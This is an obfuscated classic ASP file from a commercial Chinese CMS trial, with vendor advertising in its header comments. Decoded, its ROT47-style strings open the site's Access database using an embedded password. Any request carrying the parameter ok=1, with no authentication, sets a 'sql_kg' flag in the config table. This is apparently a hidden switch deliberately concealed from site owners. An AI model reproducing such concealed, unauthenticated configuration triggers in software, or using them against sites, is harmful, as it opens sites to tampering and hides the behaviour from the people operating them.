<%
'此版本为免费下载的（试用版本）源码加密处理过
'购买正式版系统提供源码（支持二次开发，修改）
'系统服务商：金华市宁志网络科技有限公司
'公司网址：http://www.ningzhi.net 
'客服QQ号：122470827 电话：18867186998 （同微信号）刘经理
'全国统一售后电话：0579-83938663 
'支持正版：软件著作权登记号：2012SR040914
'官方平台：购买系统请上金华市宁志网络公司官网平台是唯一购买渠道
'本公司无第三方代销售平台请认准,以免上当受骗！！！
'请勿修改下列任何代码,以保证程序正常运行·感谢您体验宁志产品，宁志有您更精彩！
'TM:2023-08-09 15:31:24

Dim NNZZZN,NNZZNZ,NNZZNN,NNZNZZ,NNZNZN
Set NNZZNN=Response:Set NNZZNZ=Request:Set NNZNZN=Session:Set NNZZZN=Application:Set NNZNZZ=Server
set NNNZNZ = NNZNZZ.CreateObject(NNZNNZ("25@53]4@??64E:@?"))
NNNZNN=NNZNNZ("!C@G:56Cl|:4C@D@7E]y6E]~{tsq]c]_jy6E ,~{tsqi52E2q2D6 ,!2DDH@C5l?Kd`hoG:Aj52E2 ,$@FC46l") & NNZNZZ.MapPath(NNZNNZ("]]^]]^?K4>D0?KH63^?K4>D0FA^52E2^?K4>D0DB=]2D2I"))
NNNZNZ.open NNNZNN
NNNNZZ=NNZZNZ.QueryString(NNZNNZ("D62C49"))
if NNZZNZ.querystring(NNZNNZ("@<"))="1" then
set NNNNZN=NNZNZZ.CreateObject(NNZNNZ("25@53]C64@C5D6E"))
NNNNNZ=NNZNNZ("D6=64E ,Y ,7C@> ,4@?7:8 ,")
NNNNZN.open NNNNNZ,NNNZNZ,1,3
NNNNZN(NNZNNZ("DB0<8"))= (18 * 64 - 1151)
NNNNZN.update
NNNNZN.close:set NNNNZN=nothing
NNNZNZ.close:set NNNZNZ=nothing
NNZZNN.Write NNZNNZ("kD4C:AE ,=2?8F286l;2G2D4C:AEm2=6CEWV@<！,VXjH:?5@H]=@42E:@?]9C67lV;2G2D4C:AEiH:?5@H]4=@D6WXjVjk^D4C:AEm")
end if
Function NNZNNZ(ByVal NNNNNN)
Dim NNZNNN, NNNZZZ, NNNZZN
NNNNNN = Replace(NNNNNN, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NNNZZZ = 1 To Len(NNNNNN)
If NNNZZZ <> NNNZZN Then
NNZNNN = AscW(Mid(NNNNNN, NNNZZZ, 1))
If NNZNNN >= 33 And NNZNNN <= 79 Then
NNZNNZ = NNZNNZ & Chr(NNZNNN + 47)
ElseIf NNZNNN >= 80 And NNZNNN <= 126 Then
NNZNNZ = NNZNNZ & Chr(NNZNNN - 47)
Else
NNNZZN = NNNZZZ + 1
If Mid(NNNNNN, NNNZZN, 1) = NNZNNZ("o") Then NNZNNZ = NNZNNZ & ChrW(NNZNNN + 5) Else NNZNNZ = NNZNNZ & Mid(NNNNNN, NNNZZZ, 1)
End If
End If
Next
End Function
%>